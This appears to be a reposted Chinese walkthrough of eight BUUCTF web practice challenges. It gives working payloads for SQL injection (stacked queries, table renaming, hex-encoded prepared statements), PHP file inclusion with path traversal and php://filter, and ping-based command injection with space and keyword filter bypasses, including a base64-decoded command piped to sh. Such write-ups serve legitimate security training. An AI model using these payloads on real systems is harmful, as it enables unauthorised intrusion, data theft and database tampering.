BUUCTF-练习场-WEB-第一部分(8道)

news2024/11/18 22:33:56

[极客大挑战 2019]EasySQL 1

payload:1' or 1=1#

'是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执行,所以该sql命令会返回表内所有内容,其实就是实现一个闭合查询,绕过判断,返回内容

[HCTF 2018]WarmUp

F12查看源代码,发现注释中有一个source.php文件名称

访问这个文件,看到了源码,同时源码中还提及了一个hint.php的文件

访问hint.php,得到了flag所在的文件名

源码中有这样一段内容

如果有file值的传入,且file为字符串,而且通过了checkFile的验证,则将file文件包含,我们可以通过这个文件包含,回显ffffllllaaaagggg的内容。

注:include,包含并执行文件。被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include 结构会发出一条警告;这一点和 require 不同,require会发出一个致命错误。

那么,可以构造payload读取到文件,得到flag:

?file=source.php?../../../../../../../../../../../../ffffllllaaaagggg

[极客大挑战 2019]Havefun

查看源代码,注释中包含一段源码,get传参,变量cat,当cat==dog时,回显Sys{cat_cat_cat}

那么,payload为:

?cat=dog //成功回显payload

[ACTF2020 新生赛]Include

点击tips,发现url中file=flag.php,但是并没有回显flag

这里我们可以使用这样的payload格式去构造:

php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取文件内容。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

读取到了一段base64编码的字符串,将该字符串进行转码后,得到flag

[ACTF2020 新生赛]Exec

打开后是一个ping的功能,我们尝试用|进行命令拼接,发现ls命令可以直接执行,并且读取到根目录下的文件信息,在根目录下有一个flag文件

命令:|ls ../../../../../../../../../../../../../
使用命令,直接读取flag文件内容,获得flag:
|cat ../../../../../../../../../../../../../flag

[强网杯 2019]随便注

sql注入了,先来判断一下字段数

1' order by 1 # 和 1' order by 2 # 可以正常回显
1' order by 3 # 的时候报错,说明字段数为2

尝试union联合注入

1' union select 1,2#

发现提示select等命令被过滤掉了。。。。

使用一种新知识,堆叠注入:

使用; 号注入多条SQL语句并执行,先爆库试一下:
0'; show databases; #

可以使用,尝试回显出,当前数据库中的表

0'; show tables; #

查到两个表,分别是"1919810931114514"和"words"

查看表中字段名称:

1'; show columns from words; #
1'; show columns from `1919810931114514`; #
注意:当表名为数字时,要使用反引号将表名括起。

words中没什么有用的字段名,在1919810931114514中,发现flag字段

补充知识:
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。

到了读取flag内容的时候,犯了大难,查询其他师傅的wp,有三种方法适用,这里我只写两种(第三种看不明白)

方法一:

1,通过 rename 先把 words 表改名为word1。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

提交查询,提交之后,再提交1查询时,回显flag字段中的内容。

方法二:

由于select被过滤了,所以将select * from ` 1919810931114514` 进行十六进制编码,再构造payload。

select * from ` 1919810931114514`转换得到0x73656c656374202a2066726f6d20603139313938313039333131313435313460

payload:

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

知识点:

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

[SUCTF 2019]EasySQL

sql注入,和上一题好像,堆叠注入爆一下库名

1;show databases;

同样方法爆一下表名

1;show tables;

有个Flag表,看看Flag表中字段,回显nonono?,判断可能过滤了flag

接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容

这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post['query']||flag from Flag

当我们输入非零数字时才会会显出1,而0和其他全都无回显,猜测后端语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)

这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

还有一个非预期解 *,1 可以直接得到flag

后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了
select *,1 || flag from Flag
这条语句执行起来相当于
select *, 1 from Flag
因为1||flag是个短路算法,直接输出1了
select *和select 所有列的意义相同,那么我们构造的
select *,1 || flag from Flag 就等同于 select *,1 from Flag

[GXYCTF2019]Ping Ping Ping

看起来因该是命令执行了,给出一个/?ip=的提示,应该时get传参,变量名是ip了,尝试传个数字进去看看效果

看来是执行了ping命令,使用|组合命令进去执行看看

/?ip=1|ls

成功读取到当前路径下有flag.php的文件,读取一下文件内容试试

/?ip=1|cat%20flag.php

嗯。。。过滤了空格,使用 $IFS$数字 来绕过空格过滤试试

/?ip=cat$IFS$9flag.php

嗯。。。是成功绕过了空格过滤,发现还过滤了flag,这里有两种思路:

方法一:

使用base64编码绕过

把 cat$IFS$9flag.php 转换为base64编码

payload:
/?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh

在返回的响应包或源代码注释中,可以看到flag

方法二:

变量拼接,我们想要执行cat$IFS$9flag.php 但是flag被过滤了,我们可以将flag进行拆分

payload:

/?ip=1;a=fl;b=ag;cat$IFS$9$a$b.php

过滤依旧,更换一下拼接方式,成功回显flag

payload:

/?ip=1;a=ag;cat$IFS$9fl$a.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/348491.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaSE学习day7_01 面向对象

1. 类和对象 1.1 类和对象的理解 客观存在的事物皆为对象 &#xff0c;所以我们也常常说万物皆对象。即各个对象的总称&#xff0c;比如学生是一个类&#xff0c;但是学生有很多个&#xff0c;每一个称之为对象。 类 类的理解 类是对现实生活中一类具有共同属性和行为的事物的…

Apifox-接口调用、自动化测试工具

Apifox简介 Apifox 的定位是Postman Swagger Mock JMeter&#xff0c;具有API文档管理、API调试、API Mock、API 自动化测试等功能。可以通过一种工具解决之前使用多种工具的数据同步问题。高效、及时、准确&#xff01; 安装 Apifox的安装非常方便&#xff0c;直接下载安…

ASEMI中低压MOS管ASE60N10参数,ASE60N10规格

编辑-Z ASEMI中低压MOS管ASE60N10参数&#xff1a; 型号&#xff1a;ASE60N10 漏极-源极电压&#xff08;VDS&#xff09;&#xff1a;100V 栅源电压&#xff08;VGS&#xff09;&#xff1a;20V 漏极电流&#xff08;ID&#xff09;&#xff1a;60A 功耗&#xff08;PD&…

从矩阵中提取对角线元素;将一维数组转换为对角线矩阵:np.diag()函数

【小白从小学Python、C、Java】【计算机等级考试500强双证书】【Python-数据分析】从矩阵中提取对角线元素将一维数组转换为对角线矩阵np.diag()函数选择题下列说法错误的是?import numpy as npmyarray1 np.array([1,2,3])print("【显示】myarray1")print(myarray1…

Django框架之模型shell工具和查看MySQL数据库日志

shell工具和查看MySQL数据库日志 1 shell工具 Django的manage工具提供了shell命令&#xff0c;帮助我们配置好当前工程的运行环境&#xff08;如连接好数据库等&#xff09;&#xff0c;以便可以直接在终端中执行测试python语句。 通过如下命令进入shell python manage.py …

菜鸟在 windows 下 python 中安装 jupyter 踩坑要点 、被神化的 VsCode

我平时用不到 python &#xff0c;更没用过 jupyter &#xff0c;因此我的 python知识仅限于知道有 python 这么个编程语言&#xff0c;会写个 print("Hello World!!!") 而已&#xff0c;完全没听过 jupyter &#xff0c;因为某些原因今天需要安装下 jupyter 看看&am…

记进组后第五次组会汇报

2023年2月14日 日记一、小组组会二、实验室组会1、汇报内容&#xff08;1&#xff09;参考文献&#xff08;2&#xff09;CQF机制a.研究现状b.相关思考&#xff08;3&#xff09;研究计划2、汇报反馈一、小组组会 上午十点整&#xff0c;小组组会开始&#xff0c;有两个同学我…

DAS, NAS, SAN谁才是你的偏爱

大家好&#xff0c;我是技福的小咖老师。 随着主机、磁盘、网络等技术的发展&#xff0c;数据存储的方式和架构&#xff0c;也在一直不停的改变&#xff0c;今天就来给大家介绍一下目前主流的存储架构。 存储的分类 根据服务器类型分为&#xff1a; ● 封闭系统的存储&#…

QGIS中进行批量坡度计算

QGIS中进行批量坡度计算1. 坡度计算中的Z因子&#xff08;垂直单位与水平单位的比值&#xff09;2. 坡度计算步骤1. 坡度计算中的Z因子&#xff08;垂直单位与水平单位的比值&#xff09; z 因子是一个转换因子&#xff0c;当输入表面的垂直坐标&#xff08;或高程&#xff09…

对撞双指针(一) 盛水最多的容器

描述 给定一个数组height&#xff0c;长度为n&#xff0c;每个数代表坐标轴中的一个点的高度&#xff0c;height[i]是在第i点的高度&#xff0c;请问&#xff0c;从中选2个高度与x轴组成的容器最多能容纳多少水 1.你不能倾斜容器 2.当n小于2时&#xff0c;视为不能形成容器&…

Spring Security 源码解读:OAuth2 Authorization Server

样例代码请参考&#xff1a;spring-security-oauth2.0-server-sample Spring Authorization Server刚发展不久&#xff0c;还没有springboot版本&#xff0c;而Resource Server有&#xff0c;但是两个底层很多不兼容&#xff0c;会重复引入不同版本的jar包。 另外&#xff0c…

Redis之哨兵模式

什么是哨兵模式&#xff1f; Sentinel(哨兵)是用于监控Redis集群中Master状态的工具&#xff0c;是Redis高可用解决方案&#xff0c;哨兵可以监视一个或者多个redis master服务&#xff0c;以及这些master服务的所有从服务。 某个master服务宕机后&#xff0c;会把这个master下…

安卓小游戏:俄罗斯方块

安卓小游戏&#xff1a;俄罗斯方块 前言 最近用安卓自定义view写了下飞机大战、贪吃蛇、小板弹球三个游戏&#xff0c;还是比较简单的&#xff0c;这几天又把俄罗斯方块还原了一下&#xff0c;写了一天&#xff0c;又摸鱼调试了两天&#xff0c;逻辑不是很难&#xff0c;但是…

机械革命z2黑苹果改造计划第三番-macOS键盘快捷键Win键盘适配

macOS键盘快捷键&Win键盘适配 键盘区别 首先下图是苹果妙控键盘无指纹版&#xff0c;官网售价699&#xff0c;穷学生的我是真的买不起 然后下图是我正在使用的机械键盘ikbc w200 87键版本 可以看出两者在键位排列上的区别主要在于 win/command 键&#xff0c;在macOS中大…

12 个华丽的 UI 组件,为您提供设计灵感✨

现代 Web 开发已转向基于组件的架构&#xff0c;从而实现更快的开发、更多的控制和更低的维护成本。在本文中&#xff0c;我精心挑选了一些我最喜欢的 UI 组件作为您的设计灵感。我尝试在我们的开发工作流程中包含不同类型的一些最常用的组件&#xff0c;包括卡片、文本、按钮、…

本人使用的idea插件

文章目录&#x1f68f; 本人使用的idea插件&#x1f6ac; pojo to Json&#x1f6ac; GsonFormatPlus&#x1f6ac; EasyYapi&#x1f6ac; Chinese (Simplified) Language Pack / 中文语言包&#x1f6ac; MyBatis Log Free&#x1f6ac; MyBatisPlusX&#x1f6ac; Statistic…

软件测试如何获得高薪?

软件测试如何获得高薪&#xff1f; 目录&#xff1a;导读 测试基础理论/测试设计能力 业务知识 行业技术知识 数据库 掌握编程语言 搞定自动化测试 质量流程管理 下面谈谈不同level的测试工程师应具备的基本能力 第一个&#xff1a;我们称之为测试员/测试工程师 第二…

Linux C/C++ 调试的那些“歪门邪道”

无数次被问道&#xff1a;你在终端下怎么调试更高效&#xff1f;或者怎么在 Vim 里调试&#xff1f;好吧&#xff0c;今天统一回答下&#xff0c;我从来不在 vim 里调试&#xff0c;因为它还不成熟。那除了命令行 GDB 裸奔以外&#xff0c;终端下还有没有更高效的方法&#xff…

【正点原子FPGA连载】第十二章PS端RTC中断实验 摘自【正点原子】DFZU2EG_4EV MPSoC之嵌入式Vitis开发指南

1&#xff09;实验平台&#xff1a;正点原子MPSoC开发板 2&#xff09;平台购买地址&#xff1a;https://detail.tmall.com/item.htm?id692450874670 3&#xff09;全套实验源码手册视频下载地址&#xff1a; http://www.openedv.com/thread-340252-1-1.html 第十二章PS端RTC…

免费链接投票作品投票通道线上投票活动制作网络投票制作

“文明健康、绿色环保”网络评选投票_免费链接投票_作品投票通道_扫码投票怎样进行现在来说&#xff0c;公司、企业、学校更多的想借助短视频推广自己。通过微信投票小程序&#xff0c;网友们就可以通过手机拍视频上传视频参加活动&#xff0c;而短视频微信投票评选活动既可以给…